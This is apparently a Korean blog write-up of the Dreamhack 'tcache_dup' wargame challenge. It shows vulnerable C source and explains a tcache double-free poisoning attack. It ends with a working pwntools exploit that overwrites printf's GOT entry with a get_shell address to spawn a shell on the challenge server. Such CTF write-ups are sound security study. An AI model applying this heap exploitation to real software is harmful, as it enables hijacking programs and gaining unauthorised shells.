rosieblue
article thumbnail
728x90

문제코드

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) { 
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}
ENVIRONMENT
Ubuntu 18.04
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

 

double free를 했음에도 아무런 에러가 안뜬다. 따라서 서버에서는 '그것'이 적용되지 않았음을 확인할 수 있었다. ㄱㅇㄷ

 

ptr[idx]에 "/bin/sh" 넣은다음에 free의 plt overwrite 하면 안 되나? free의 got 주소 알아낸 다음에 거기루 할당하구 거기에다가 get_shell 주소 넣는 방식으로..!

 

즉 dfb를 통해서 임의의 주소에 내가 원하는 값을 삽입할 수 있게된다!!!! (예를 들어 got_overwrite 같은것도 더 쉬워지겠징 !!)

 

위내용을 C 슈도 코드로 작성하면 아래와 같다. 그리고 이걸 파이썬 익스플로잇 코드로 바꾸면 된다.

 

ptr[0]=malloc(0x20); // 0x1000

ptr[1]=malloc(0x20); // 0x1030

free(ptr[0]); // tcache에 들어감

free(ptr[0]); // tcache에 들어감 (DFB)

// tcache : 0x1000->0x1000

ptr[2]=malloc(0x20); //tcache 첫 멤버가 빠짐 (tcache : 0x1000)

ptr[2]의 next 부분에 free_got 주소 넣기

// tcache : 0x1000 -> free_got

ptr[3]=malloc(0x20); // tcache에서 0x1000 빼기 (tcache : free_got)

ptr[4]=malloc(0x20); // free_got가 ptr[4]에 할당 + 안에 get_shell 주소 넣기

free(ptr[4])==get_shell(ptr[4])

 

 

이를 파이썬으로 옮기면 아래와 같다. (free로 했는데 안 먹혀서 printf로 바꿨다 ㅠㅠㅠ 왜 안되는지 모르겠음 ;; 알려쥬세요,,,,,ㅠㅠ)

from pwn import *

p=remote("host3.dreamhack.games",23672)
e=ELF("./tcache_dup")
printf_got=e.got["printf"]
get_shell=0x400ab0

def create(size:int,data):
	p.sendlineafter("> ","1")
	p.sendlineafter("Size: ",str(size))
	p.sendlineafter("Data: ",data)

def delete(idx:int):
	p.sendlineafter("> ","2")
	p.sendlineafter("idx: ",str(idx))

create(32,b'aaaa')
create(32,b'bbbb')

delete(0)
delete(0)

create(32,p64(printf_got))
create(32,p64(printf_got))
create(32,p64(get_shell))

p.interactive()

 

이러면 잘 된다. 그런데 도대체 왜 free는 안되는거임?

 

'Linux Exploitation > Wargame' 카테고리의 다른 글

[드림핵(Dreamahack)] Tcache Poisoning  (0) 2023.07.04
[드림핵(Dreamhack)] tcache_dup2  (0) 2023.06.30
[드림핵(Dreamhack)] uaf_overwrite  (0) 2023.06.20
[Pwnable.kr] col  (0) 2023.06.03
[Pwnable.kr] fd  (0) 2023.06.03
profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!